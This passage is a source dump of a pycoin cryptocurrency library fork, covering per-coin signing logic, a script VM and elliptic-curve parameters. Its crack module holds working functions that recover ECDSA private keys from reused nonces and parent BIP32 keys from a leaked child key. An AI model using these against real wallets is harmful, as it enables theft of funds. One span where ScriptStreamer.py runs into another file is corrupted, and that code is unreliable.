9 | 10 | def solve(self, *args, **kwargs): 11 | if kwargs.get("hash_type") is None: 12 | kwargs["hash_type"] = SIGHASH_ALL 13 | kwargs["hash_type"] |= SIGHASH_FORKID 14 | return super(BcashSolver, self).solve(*args, **kwargs) 15 | -------------------------------------------------------------------------------- /pycoin/coins/bcash/Tx.py: -------------------------------------------------------------------------------- 1 | 2 | from .SolutionChecker import BcashSolutionChecker 3 | from .Solver import BcashSolver 4 | 5 | from pycoin.coins.bitcoin.Tx import Tx as BaseTx 6 | 7 | 8 | class Tx(BaseTx): 9 | Solver = BcashSolver 10 | SolutionChecker = BcashSolutionChecker 11 | -------------------------------------------------------------------------------- /pycoin/coins/bcash/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/pycoin-Google-Colab/65e8c41f3a8fc332f998733e955e126e843e84e9/pycoin/coins/bcash/__init__.py -------------------------------------------------------------------------------- /pycoin/coins/bgold/SolutionChecker.py: -------------------------------------------------------------------------------- 1 | from pycoin.encoding.bytes32 import from_bytes_32 2 | from pycoin.encoding.hash import double_sha256 3 | from pycoin.satoshi.flags import SIGHASH_FORKID 4 | 5 | from ..bitcoin.SolutionChecker import BitcoinSolutionChecker 6 | 7 | 8 | class BgoldSolutionChecker(BitcoinSolutionChecker): 9 | 10 | FORKID_BTG = 79 # atomic number for Au (gold) 11 | 12 | def _signature_hash(self, tx_out_script, unsigned_txs_out_idx, hash_type): 13 | """ 14 | Return the canonical hash for a transaction. We need to 15 | remove references to the signature, since it's a signature 16 | of the hash before the signature is applied. 17 | 18 | tx_out_script: the script the coins for unsigned_txs_out_idx are coming from 19 | unsigned_txs_out_idx: where to put the tx_out_script 20 | hash_type: one of SIGHASH_NONE, SIGHASH_SINGLE, SIGHASH_ALL, 21 | optionally bitwise or'ed with SIGHASH_ANYONECANPAY 22 | """ 23 | 24 | if hash_type & SIGHASH_FORKID != SIGHASH_FORKID: 25 | raise self.ScriptError() 26 | 27 | return self._signature_for_hash_type_segwit(tx_out_script, unsigned_txs_out_idx, hash_type) 28 | 29 | def _signature_for_hash_type_segwit(self, script, tx_in_idx, hash_type): 30 | hash_type |= self.FORKID_BTG << 8 31 | return from_bytes_32(double_sha256(self._segwit_signature_preimage(script, tx_in_idx, hash_type))) 32 | -------------------------------------------------------------------------------- /pycoin/coins/bgold/Solver.py: -------------------------------------------------------------------------------- 1 | from ..bitcoin.Solver import BitcoinSolver 2 | from pycoin.satoshi.flags import SIGHASH_ALL, SIGHASH_FORKID 3 | 4 | from .SolutionChecker import BgoldSolutionChecker 5 | 6 | 7 | class BgoldSolver(BitcoinSolver): 8 | SolutionChecker = BgoldSolutionChecker 9 | 10 | def solve(self, *args, **kwargs): 11 | if kwargs.get("hash_type") is None: 12 | kwargs["hash_type"] = SIGHASH_ALL 13 | kwargs["hash_type"] |= SIGHASH_FORKID 14 | return super(BgoldSolver, self).solve(*args, **kwargs) 15 | -------------------------------------------------------------------------------- /pycoin/coins/bgold/Tx.py: -------------------------------------------------------------------------------- 1 | 2 | from .SolutionChecker import BgoldSolutionChecker 3 | from .Solver import BgoldSolver 4 | 5 | from pycoin.coins.bitcoin.Tx import Tx as BaseTx 6 | 7 | 8 | class Tx(BaseTx): 9 | Solver = BgoldSolver 10 | SolutionChecker = BgoldSolutionChecker 11 | -------------------------------------------------------------------------------- /pycoin/coins/bgold/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/pycoin-Google-Colab/65e8c41f3a8fc332f998733e955e126e843e84e9/pycoin/coins/bgold/__init__.py -------------------------------------------------------------------------------- /pycoin/coins/bitcoin/P2SChecker.py: -------------------------------------------------------------------------------- 1 | from ...intbytes import byte2int, indexbytes 2 | 3 | from ..SolutionChecker import SolutionChecker 4 | 5 | from pycoin.satoshi.flags import VERIFY_P2SH 6 | 7 | from .ScriptTools import BitcoinScriptTools 8 | 9 | 10 | OP_EQUAL = BitcoinScriptTools.int_for_opcode("OP_EQUAL") 11 | OP_HASH160 = BitcoinScriptTools.int_for_opcode("OP_HASH160") 12 | 13 | 14 | class P2SChecker(SolutionChecker): 15 | 16 | @classmethod 17 | def is_pay_to_script_hash(class_, script_public_key): 18 | return (len(script_public_key) == 23 and byte2int(script_public_key) == OP_HASH160 and 19 | indexbytes(script_public_key, -1) == OP_EQUAL) 20 | 21 | @classmethod 22 | def script_hash_from_script(class_, puzzle_script): 23 | if class_.is_pay_to_script_hash(puzzle_script): 24 | return puzzle_script[2:-1] 25 | return False 26 | 27 | def p2s_program_tuple(self, tx_context, puzzle_script, solution_stack, flags, sighash_f): 28 | if flags & VERIFY_P2SH and self.is_pay_to_script_hash(puzzle_script): 29 | self._check_script_push_only(tx_context.solution_script) 30 | puzzle_script, solution_stack = solution_stack[-1], solution_stack[:-1] 31 | return puzzle_script, solution_stack, flags & ~VERIFY_P2SH, sighash_f 32 | -------------------------------------------------------------------------------- /pycoin/coins/bitcoin/ScriptStreamer.py: -------------------------------------------------------------------------------- 1 | import struct 2 | 3 | from pycoin.coins.SolutionChecker import ScriptError 4 | from pycoin.satoshi import errno, opcodes 5 | from pycoin.satoshi.IntStreamer import IntStreamer 6 | from pycoin.vm.ScriptStreamer import ScriptStreamer 7 | 8 | 9 | def make_opcode_const_list(): 10 | return [("OP_%d" % i, IntStreamer.int_to_script_bytes(i)) for i in range(17)] + [ 11 | ("OP_1NEGATE", IntStreamer.int_to_script_bytes(-1))] 12 | 13 | 14 | def make_opcode_sized_list(): 15 | return [("OP_PUSH_%d" % i, i) for i in range(1, 76)] 16 | 17 | 18 | def make_opcode_variable_list(): 19 | def make_variable_decoder(struct_data): 20 | struct_size = struct.calcsize(struct_data) 21 | 22 | def decode_OP_PUSHDATA(script, pc): 23 | pc += 1 24 | try: 25 | size = struct.unpack(struct_data, script[pc:pc+struct_size])[0] 26 | except Exception: 27 | return 0, pc 28 | pc += struct_size 29 | return size, pc 30 | return decode_OP_PUSHDATA 31 | 32 | OPCODE_VARIABLE_LIST = [ 33 | ("OP_PUSHDATA1", (1 << 8)-1, lambda d: struct.pack("' % ( 29 | self.__class__.__name__, 30 | satoshi_to_mbtc(self.coin_value), 31 | BitcoinScriptTools.disassemble(self.script) 32 | ) 33 | 34 | def puzzle_script(self): 35 | return self.script 36 | 37 | 38 | """ 39 | The MIT License (MIT) 40 | 41 | Copyright (c) 2013 by Richard Kiss 42 | 43 | Permission is hereby granted, free of charge, to any person obtaining a copy 44 | of this software and associated documentation files (the "Software"), to deal 45 | in the Software without restriction, including without limitation the rights 46 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 47 | copies of the Software, and to permit persons to whom the Software is 48 | furnished to do so, subject to the following conditions: 49 | 50 | The above copyright notice and this permission notice shall be included in 51 | all copies or substantial portions of the Software. 52 | 53 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 54 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 55 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 56 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 57 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 58 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 59 | THE SOFTWARE. 60 | """ 61 | -------------------------------------------------------------------------------- /pycoin/coins/bitcoin/VM.py: -------------------------------------------------------------------------------- 1 | 2 | from pycoin.coins.SolutionChecker import ScriptError 3 | from pycoin.ecdsa.secp256k1 import secp256k1_generator 4 | from pycoin.satoshi import errno, opcodes 5 | from pycoin.satoshi.IntStreamer import IntStreamer 6 | from pycoin.satoshi.flags import VERIFY_MINIMALDATA 7 | 8 | from .ScriptStreamer import BitcoinScriptStreamer 9 | 10 | from pycoin.vm.VM import VM 11 | 12 | 13 | from .make_instruction_lookup import make_instruction_lookup 14 | 15 | 16 | class BitcoinVM(VM): 17 | IntStreamer = IntStreamer 18 | 19 | VM_FALSE = IntStreamer.int_to_script_bytes(0) 20 | VM_TRUE = IntStreamer.int_to_script_bytes(1) 21 | 22 | INSTRUCTION_LOOKUP = make_instruction_lookup(opcodes.OPCODE_LIST) 23 | ScriptStreamer = BitcoinScriptStreamer 24 | 25 | def pop_int(self): 26 | return self.IntStreamer.int_from_script_bytes(self.pop(), require_minimal=self.flags & VERIFY_MINIMALDATA) 27 | 28 | def pop_nonnegative(self): 29 | v = self.pop_int() 30 | if v < 0: 31 | raise ScriptError("unexpectedly got negative value", errno.INVALID_STACK_OPERATION) 32 | return v 33 | 34 | def push_int(self, v): 35 | self.append(self.IntStreamer.int_to_script_bytes(v)) 36 | 37 | @classmethod 38 | def bool_from_script_bytes(class_, v, require_minimal=False): 39 | v = class_.IntStreamer.int_from_script_bytes(v, require_minimal=require_minimal) 40 | if require_minimal: 41 | if v not in (class_.VM_FALSE, class_.VM_TRUE): 42 | raise ScriptError("non-minimally encoded", errno.UNKNOWN_ERROR) 43 | return bool(v) 44 | 45 | @classmethod 46 | def bool_to_script_bytes(class_, v): 47 | return class_.VM_TRUE if v else class_.VM_FALSE 48 | 49 | @classmethod 50 | def generator_for_signature_type(class_, signature_type): 51 | return secp256k1_generator 52 | -------------------------------------------------------------------------------- /pycoin/coins/bitcoin/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/pycoin-Google-Colab/65e8c41f3a8fc332f998733e955e126e843e84e9/pycoin/coins/bitcoin/__init__.py -------------------------------------------------------------------------------- /pycoin/coins/bitcoin/make_instruction_lookup.py: -------------------------------------------------------------------------------- 1 | 2 | from pycoin.coins.SolutionChecker import ScriptError 3 | from pycoin.satoshi import intops, stackops, checksigops, miscops 4 | from pycoin.satoshi import errno 5 | 6 | from .ScriptStreamer import BitcoinScriptStreamer 7 | 8 | 9 | def _make_bad_instruction(v): 10 | def f(vm_state): 11 | raise ScriptError("invalid instruction x%02x at %d" % (v, vm_state.pc), errno.BAD_OPCODE) 12 | return f 13 | 14 | 15 | def _collect_opcodes(module): 16 | d = {} 17 | for k in dir(module): 18 | if k.startswith("do_OP"): 19 | d[k[3:]] = getattr(module, k) 20 | return d 21 | 22 | 23 | def _no_op(vm): 24 | pass 25 | 26 | 27 | def make_instruction_lookup(opcode_pairs): 28 | OPCODE_DATA_LIST = list(BitcoinScriptStreamer.data_opcodes) 29 | 30 | # start with all opcodes invalid 31 | instruction_lookup = [_make_bad_instruction(i) for i in range(256)] 32 | 33 | for i in OPCODE_DATA_LIST: 34 | instruction_lookup[i] = _no_op 35 | opcode_lookups = {} 36 | opcode_lookups.update(_collect_opcodes(checksigops)) 37 | opcode_lookups.update(_collect_opcodes(intops)) 38 | opcode_lookups.update(_collect_opcodes(stackops)) 39 | opcode_lookups.update(_collect_opcodes(miscops)) 40 | opcode_lookups.update(miscops.extra_opcodes()) 41 | for opcode_name, opcode_value in opcode_pairs: 42 | if opcode_name in opcode_lookups: 43 | instruction_lookup[opcode_value] = opcode_lookups[opcode_name] 44 | return instruction_lookup 45 | -------------------------------------------------------------------------------- /pycoin/coins/exceptions.py: -------------------------------------------------------------------------------- 1 | class ValidationFailureError(Exception): 2 | pass 3 | 4 | 5 | class BadSpendableError(Exception): 6 | pass 7 | -------------------------------------------------------------------------------- /pycoin/coins/groestlcoin/Block.py: -------------------------------------------------------------------------------- 1 | import io 2 | 3 | from pycoin.block import Block as BaseBlock 4 | 5 | from .hash import groestlHash 6 | from .Tx import Tx 7 | 8 | 9 | class Block(BaseBlock): 10 | Tx = Tx 11 | 12 | def _calculate_hash(self): 13 | s = io.BytesIO() 14 | self.stream_header(s) 15 | return groestlHash(s.getvalue()) 16 | -------------------------------------------------------------------------------- /pycoin/coins/groestlcoin/SolutionChecker.py: -------------------------------------------------------------------------------- 1 | import io 2 | 3 | from .hash import sha256 4 | from pycoin.coins.bitcoin.SegwitChecker import ZERO32 5 | from pycoin.coins.bitcoin.SolutionChecker import BitcoinSolutionChecker 6 | from pycoin.encoding.bytes32 import from_bytes_32 7 | 8 | from pycoin.satoshi.satoshi_struct import stream_struct 9 | 10 | from pycoin.satoshi.flags import ( 11 | SIGHASH_NONE, SIGHASH_SINGLE, SIGHASH_ANYONECANPAY, 12 | ) 13 | 14 | 15 | class GroestlcoinSolutionChecker(BitcoinSolutionChecker): 16 | def _hash_prevouts(self, hash_type): 17 | if hash_type & SIGHASH_ANYONECANPAY: 18 | return ZERO32 19 | f = io.BytesIO() 20 | for tx_in in self.tx.txs_in: 21 | f.write(tx_in.previous_hash) 22 | stream_struct("L", f, tx_in.previous_index) 23 | return sha256(f.getvalue()) 24 | 25 | def _hash_sequence(self, hash_type): 26 | if ( 27 | (hash_type & SIGHASH_ANYONECANPAY) or 28 | ((hash_type & 0x1f) == SIGHASH_SINGLE) or 29 | ((hash_type & 0x1f) == SIGHASH_NONE) 30 | ): 31 | return ZERO32 32 | 33 | f = io.BytesIO() 34 | for tx_in in self.tx.txs_in: 35 | stream_struct("L", f, tx_in.sequence) 36 | return sha256(f.getvalue()) 37 | 38 | def _hash_outputs(self, hash_type, tx_in_idx): 39 | txs_out = self.tx.txs_out 40 | if hash_type & 0x1f == SIGHASH_SINGLE: 41 | if tx_in_idx >= len(txs_out): 42 | return ZERO32 43 | txs_out = txs_out[tx_in_idx:tx_in_idx+1] 44 | elif hash_type & 0x1f == SIGHASH_NONE: 45 | return ZERO32 46 | f = io.BytesIO() 47 | for tx_out in txs_out: 48 | stream_struct("QS", f, tx_out.coin_value, tx_out.script) 49 | return sha256(f.getvalue()) 50 | 51 | def _signature_for_hash_type_segwit(self, script, tx_in_idx, hash_type): 52 | return from_bytes_32(sha256(self._segwit_signature_preimage(script, tx_in_idx, hash_type))) 53 | -------------------------------------------------------------------------------- /pycoin/coins/groestlcoin/Solver.py: -------------------------------------------------------------------------------- 1 | from pycoin.coins.bitcoin.Solver import BitcoinSolver 2 | from .SolutionChecker import GroestlcoinSolutionChecker 3 | 4 | 5 | class GroestlcoinSolver(BitcoinSolver): 6 | SolutionChecker = GroestlcoinSolutionChecker 7 | -------------------------------------------------------------------------------- /pycoin/coins/groestlcoin/Tx.py: -------------------------------------------------------------------------------- 1 | import io 2 | 3 | from pycoin.coins.bitcoin.Tx import Tx as BaseTx 4 | from pycoin.convention import SATOSHI_PER_COIN 5 | from pycoin.satoshi.satoshi_struct import stream_struct 6 | 7 | from .hash import sha256 8 | from .Solver import GroestlcoinSolver as Solver 9 | from .SolutionChecker import GroestlcoinSolutionChecker as SolutionChecker 10 | 11 | 12 | class Tx(BaseTx): 13 | SolutionChecker = SolutionChecker 14 | Solver = Solver 15 | 16 | MAX_MONEY = 105000000 * SATOSHI_PER_COIN 17 | 18 | def hash(self, hash_type=None): 19 | s = io.BytesIO() 20 | self.stream(s, include_witness_data=False) 21 | if hash_type is not None: 22 | stream_struct("L", s, hash_type) 23 | return sha256(s.getvalue()) 24 | 25 | def w_hash(self): 26 | return sha256(self.as_bin()) 27 | 28 | def blanked_hash(self): 29 | s = io.BytesIO() 30 | self.stream(s, blank_solutions=True) 31 | return sha256(s.getvalue()) 32 | -------------------------------------------------------------------------------- /pycoin/coins/groestlcoin/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/pycoin-Google-Colab/65e8c41f3a8fc332f998733e955e126e843e84e9/pycoin/coins/groestlcoin/__init__.py -------------------------------------------------------------------------------- /pycoin/coins/groestlcoin/hash.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | 3 | from pycoin.encoding.hexbytes import bytes_as_revhex 4 | 5 | 6 | def sha256(data): 7 | return bytes_as_revhex(hashlib.sha256(data).digest()) 8 | 9 | 10 | def groestlHash(data): 11 | """Groestl-512 compound hash.""" 12 | try: 13 | import groestlcoin_hash 14 | except ImportError: 15 | t = 'Groestlcoin requires the groestlcoin_hash package ("pip install groestlcoin_hash").' 16 | print(t) 17 | raise ImportError(t) 18 | 19 | return bytes_as_revhex(groestlcoin_hash.getHash(data, len(data))) 20 | -------------------------------------------------------------------------------- /pycoin/coins/groestlcoin/parse.py: -------------------------------------------------------------------------------- 1 | from pycoin.networks.ParseAPI import ParseAPI 2 | from pycoin.networks.parseable_str import parseable_str, parse_b58 3 | 4 | from .hash import groestlHash 5 | 6 | 7 | def b58_groestl(s): 8 | data = parse_b58(s) 9 | if data: 10 | data, the_hash = data[:-4], data[-4:] 11 | if groestlHash(data)[:4] == the_hash: 12 | return data 13 | 14 | 15 | def parse_b58_groestl(s): 16 | s = parseable_str(s) 17 | return s.cache("b58_groestl", b58_groestl) 18 | 19 | 20 | class GRSParseAPI(ParseAPI): 21 | """Set GRS parse functions.""" 22 | 23 | def parse_b58_hashed(self, s): 24 | return parse_b58_groestl(s) 25 | -------------------------------------------------------------------------------- /pycoin/coins/litecoin/__init__.py: -------------------------------------------------------------------------------- 1 | class Tx: 2 | pass 3 | 4 | 5 | class Block: 6 | pass 7 | -------------------------------------------------------------------------------- /pycoin/contrib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/pycoin-Google-Colab/65e8c41f3a8fc332f998733e955e126e843e84e9/pycoin/contrib/__init__.py -------------------------------------------------------------------------------- /pycoin/convention/__init__.py: -------------------------------------------------------------------------------- 1 | 2 | import decimal 3 | 4 | SATOSHI_PER_COIN = decimal.Decimal(int(1e8)) 5 | COIN_PER_SATOSHI = decimal.Decimal(1)/SATOSHI_PER_COIN 6 | 7 | SATOSHI_TO_MBTC = decimal.Decimal(int(1e5)) 8 | MBTC_PER_SATOSHI = 1/SATOSHI_TO_MBTC 9 | 10 | 11 | def satoshi_to_btc(satoshi_count): 12 | if satoshi_count == 0: 13 | return decimal.Decimal(0) 14 | r = satoshi_count * COIN_PER_SATOSHI 15 | return r.quantize(COIN_PER_SATOSHI) 16 | 17 | 18 | def btc_to_satoshi(btc): 19 | return int(decimal.Decimal(btc) * SATOSHI_PER_COIN) 20 | 21 | 22 | def satoshi_to_mbtc(satoshi_count): 23 | if satoshi_count == 0: 24 | return decimal.Decimal(0) 25 | r = satoshi_count / SATOSHI_TO_MBTC 26 | return r.quantize(MBTC_PER_SATOSHI) 27 | 28 | 29 | def mbtc_to_satoshi(btc): 30 | return int(decimal.Decimal(btc) * SATOSHI_TO_MBTC) 31 | -------------------------------------------------------------------------------- /pycoin/convention/tx_fee.py: -------------------------------------------------------------------------------- 1 | 2 | import io 3 | 4 | TX_FEE_PER_THOUSAND_BYTES = 10000 5 | 6 | 7 | def recommended_fee_for_tx(tx): 8 | """ 9 | Return the recommended transaction fee in satoshis. 10 | This is a grossly simplified version of this function. 11 | TODO: improve to consider TxOut sizes. 12 | - whether the transaction contains "dust" 13 | - whether any outputs are less than 0.001 14 | - update for bitcoind v0.90 new fee schedule 15 | """ 16 | s = io.BytesIO() 17 | tx.stream(s) 18 | tx_byte_count = len(s.getvalue()) 19 | tx_fee = TX_FEE_PER_THOUSAND_BYTES * ((999+tx_byte_count)//1000) 20 | return tx_fee 21 | -------------------------------------------------------------------------------- /pycoin/crack/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/pycoin-Google-Colab/65e8c41f3a8fc332f998733e955e126e843e84e9/pycoin/crack/__init__.py -------------------------------------------------------------------------------- /pycoin/crack/bip32.py: -------------------------------------------------------------------------------- 1 | import hmac 2 | import hashlib 3 | import struct 4 | 5 | from pycoin.encoding.bytes32 import from_bytes_32 6 | from pycoin.encoding.sec import public_pair_to_sec 7 | 8 | 9 | def ascend_bip32(bip32_pub_node, secret_exponent, child): 10 | """ 11 | Given a BIP32Node with public derivation child "child" with a known private key, 12 | return the secret exponent for the bip32_pub_node. 13 | """ 14 | i_as_bytes = struct.pack(">l", child) 15 | sec = public_pair_to_sec(bip32_pub_node.public_pair(), compressed=True) 16 | data = sec + i_as_bytes 17 | I64 = hmac.HMAC(key=bip32_pub_node._chain_code, msg=data, digestmod=hashlib.sha512).digest() 18 | I_left_as_exponent = from_bytes_32(I64[:32]) 19 | return (secret_exponent - I_left_as_exponent) % bip32_pub_node._generator.order() 20 | 21 | 22 | def crack_bip32(bip32_pub_node, secret_exponent, path): 23 | paths = path.split("/") 24 | while len(paths): 25 | path = int(paths.pop()) 26 | secret_exponent = ascend_bip32(bip32_pub_node.subkey_for_path("/".join(paths)), secret_exponent, path) 27 | return bip32_pub_node.__class__( 28 | bip32_pub_node._chain_code, bip32_pub_node._depth, bip32_pub_node._parent_fingerprint, 29 | bip32_pub_node._child_index, secret_exponent=secret_exponent) 30 | -------------------------------------------------------------------------------- /pycoin/crack/ecdsa.py: -------------------------------------------------------------------------------- 1 | 2 | def crack_secret_exponent_from_k(generator, signed_value, sig, k): 3 | """ 4 | Given a signature of a signed_value and a known k, return the secret exponent. 5 | """ 6 | r, s = sig 7 | return ((s * k - signed_value) * generator.inverse(r)) % generator.order() 8 | 9 | 10 | def crack_k_from_sigs(generator, sig1, val1, sig2, val2): 11 | """ 12 | Given two signatures with the same secret exponent and K value, return that K value. 13 | """ 14 | 15 | # s1 = v1 / k1 + (se * r1) / k1 16 | # s2 = v2 / k2 + (se * r2) / k2 17 | # and k = k1 = k2 18 | # so 19 | # k * s1 = v1 + (se * r1) 20 | # k * s2 = v2 + (se * r2) 21 | # so 22 | # k * s1 * r2 = r2 * v1 + (se * r1 * r2) 23 | # k * s2 * r1 = r1 * v2 + (se * r2 * r1) 24 | # so 25 | # k (s1 * r2 - s2 * r1) = r2 * v1 - r1 * v2 26 | # so 27 | # k = (r2 * v1 - r1 * v2) / (s1 * r2 - s2 * r1) 28 | 29 | r1, s1 = sig1 30 | r2, s2 = sig2 31 | if r1 != r2: 32 | raise ValueError("r values of signature do not match") 33 | k = (r2 * val1 - r1 * val2) * generator.inverse(r2 * s1 - r1 * s2) 34 | return k % generator.order() 35 | -------------------------------------------------------------------------------- /pycoin/ecdsa/Point.py: -------------------------------------------------------------------------------- 1 | 2 | class NoSuchPointError(ValueError): 3 | pass 4 | 5 | 6 | class Point(tuple): 7 | """ 8 | A point on an elliptic curve. This is a subclass of tuple (forced to a 2-tuple), 9 | and also includes a reference to the underlying Curve. 10 | 11 | This class supports the operators ``+``, ``-`` (unary and binary) and ``*``. 12 | 13 | :param x: x coordinate 14 | :param y: y coordinate 15 | :param curve: the :class:`Curve ` this point must be on 16 | 17 | The constructor raises :class:`NoSuchPointError` if the point is invalid. 18 | The point at infinity is ``(x, y) == (None, None)``. 19 | """ 20 | def __new__(self, x, y, curve): 21 | """ 22 | Subclasses of tuple require __new__ to be overridden. 23 | """ 24 | return tuple.__new__(self, (x, y)) 25 | 26 | def __init__(self, x, y, curve): 27 | self._curve = curve 28 | super(Point, self).__init__() 29 | self.check_on_curve() 30 | 31 | def check_on_curve(self): 32 | """raise :class:`NoSuchPointError` if the point is not actually on the curve.""" 33 | if not self._curve.contains_point(*self): 34 | raise NoSuchPointError('({},{}) is not on the curve {}'.format(self[0], self[1], self._curve)) 35 | 36 | def __add__(self, other): 37 | """Add one point to another point.""" 38 | return self._curve.add(self, other) 39 | 40 | def __sub__(self, other): 41 | """Subtract one point from another point.""" 42 | return self._curve.add(self, -other) 43 | 44 | def __mul__(self, e): 45 | """Multiply a point by an integer.""" 46 | return self._curve.multiply(self, e) 47 | 48 | def __rmul__(self, other): 49 | """Multiply a point by an integer.""" 50 | return self * other 51 | 52 | def __neg__(self): 53 | """Unary negation""" 54 | return self.__class__(self[0], self._curve.p()-self[1], self._curve) 55 | 56 | def curve(self): 57 | """:return: the :class:`Curve ` this point is on""" 58 | return self._curve 59 | -------------------------------------------------------------------------------- /pycoin/ecdsa/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/pycoin-Google-Colab/65e8c41f3a8fc332f998733e955e126e843e84e9/pycoin/ecdsa/__init__.py -------------------------------------------------------------------------------- /pycoin/ecdsa/encrypt.py: -------------------------------------------------------------------------------- 1 | def generate_shared_public_key(my_private_key, their_public_pair, generator): 2 | """ 3 | Two parties each generate a private key and share their public key with the 4 | other party over an insecure channel. The shared public key can be generated by 5 | either side, but not by eavesdroppers. You can then use the entropy from the 6 | shared public key to created a common symmetric key for encryption. (This 7 | is beyond of the scope of pycoin.) 8 | 9 | See also 10 | 11 | :param my_private_key: an integer private key 12 | :param their_public_pair: a pair ``(x, y)`` representing a public key for the ``generator`` 13 | :param generator: a :class:`Generator ` 14 | :returns: a :class:`Point `, which can be used as a shared 15 | public key. 16 | """ 17 | p = generator.Point(*their_public_pair) 18 | return my_private_key * p 19 | -------------------------------------------------------------------------------- /pycoin/ecdsa/intstream.py: -------------------------------------------------------------------------------- 1 | 2 | from pycoin.intbytes import iterbytes, byte2int 3 | 4 | 5 | def _to_bytes(v, length, byteorder="big"): 6 | """This is the same functionality as ``int.to_bytes`` in python 3""" 7 | return v.to_bytes(length, byteorder=byteorder) 8 | 9 | 10 | def _from_bytes(bytes, byteorder="big", signed=False): 11 | """This is the same functionality as ``int.from_bytes`` in python 3""" 12 | return int.from_bytes(bytes, byteorder=byteorder, signed=signed) 13 | 14 | 15 | if hasattr(int, "to_bytes"): 16 | to_bytes = _to_bytes 17 | from_bytes = _from_bytes 18 | else: 19 | def to_bytes(v, length, byteorder="big"): 20 | """This is the same functionality as ``int.to_bytes`` in python 3""" 21 | ba = bytearray() 22 | for i in range(length): 23 | mod = v & 0xff 24 | v >>= 8 25 | ba.append(mod) 26 | if byteorder == "big": 27 | ba.reverse() 28 | return bytes(ba) 29 | 30 | def from_bytes(bytes, byteorder="big", signed=False): 31 | """This is the same functionality as ``int.from_bytes`` in python 3""" 32 | if byteorder != "big": 33 | bytes = reversed(bytes) 34 | v = 0 35 | for c in iterbytes(bytes): 36 | v <<= 8 37 | v += c 38 | if signed and byte2int(bytes) & 0x80: 39 | v = v - (1 << (8*len(bytes))) 40 | return v 41 | -------------------------------------------------------------------------------- /pycoin/ecdsa/native/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/pycoin-Google-Colab/65e8c41f3a8fc332f998733e955e126e843e84e9/pycoin/ecdsa/native/__init__.py -------------------------------------------------------------------------------- /pycoin/ecdsa/secp256k1.py: -------------------------------------------------------------------------------- 1 | from .Generator import Generator 2 | from .native.openssl import create_OpenSSLOptimizations, NID_secp256k1 3 | from .native.secp256k1 import LibSECP256K1Optimizations 4 | 5 | # from http://www.secg.org/sec2-v2.pdf 6 | 7 | _a = 0x0000000000000000000000000000000000000000000000000000000000000000 8 | _b = 0x0000000000000000000000000000000000000000000000000000000000000007 9 | _p = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f 10 | _Gx = 0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798 11 | _Gy = 0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8 12 | _r = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 13 | 14 | 15 | # include optimizations from libsecp256k1 and openssl, if available 16 | 17 | class GeneratorWithOptimizations(LibSECP256K1Optimizations, create_OpenSSLOptimizations(NID_secp256k1), Generator): 18 | pass 19 | 20 | 21 | secp256k1_generator = GeneratorWithOptimizations(_p, _a, _b, (_Gx, _Gy), _r) 22 | -------------------------------------------------------------------------------- /pycoin/ecdsa/secp256r1.py: -------------------------------------------------------------------------------- 1 | from .Generator import Generator 2 | from .native.openssl import create_OpenSSLOptimizations, NID_X9_62_prime256v1 3 | 4 | 5 | _p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff 6 | _a = 0xffffffff00000001000000000000000000000000fffffffffffffffffffffffc 7 | _b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b 8 | _Gx = 0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296 9 | _Gy = 0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5 10 | _r = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551 11 | 12 | 13 | class GeneratorWithOptimizations(create_OpenSSLOptimizations(NID_X9_62_prime256v1), Generator): 14 | pass 15 | 16 | 17 | secp256r1_generator = GeneratorWithOptimizations(_p, _a, _b, (_Gx, _Gy), _r) 18 | -------------------------------------------------------------------------------- /pycoin/encoding/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/pycoin-Google-Colab/65e8c41f3a8fc332f998733e955e126e843e84e9/pycoin/encoding/__init__.py -------------------------------------------------------------------------------- /pycoin/encoding/bytes32.py: -------------------------------------------------------------------------------- 1 | 2 | if hasattr(int, "to_bytes"): 3 | def to_bytes_32(v): 4 | return v.to_bytes(32, byteorder="big") 5 | 6 | def from_bytes_32(v): 7 | return int.from_bytes(v, byteorder="big") 8 | else: 9 | from .base_conversion import from_long, to_long 10 | from ..intbytes import byte2int 11 | 12 | def to_bytes_32(v): 13 | v = from_long(v, 0, 256, lambda x: x) 14 | if len(v) > 32: 15 | raise ValueError("input to to_bytes_32 is too large") 16 | return ((b'\0' * 32) + v)[-32:] 17 | 18 | def from_bytes_32(v): 19 | if len(v) > 32: 20 | raise OverflowError("int too big to convert") 21 | return to_long(256, byte2int, v)[0] 22 | 23 | 24 | """ 25 | Various utilities useful for converting one Bitcoin format to another, including some 26 | the human-transcribable format hashed_base58. 27 | 28 | 29 | The MIT License (MIT) 30 | 31 | Copyright (c) 2013 by Richard Kiss 32 | 33 | Permission is hereby granted, free of charge, to any person obtaining a copy 34 | of this software and associated documentation files (the "Software"), to deal 35 | in the Software without restriction, including without limitation the rights 36 | to use, 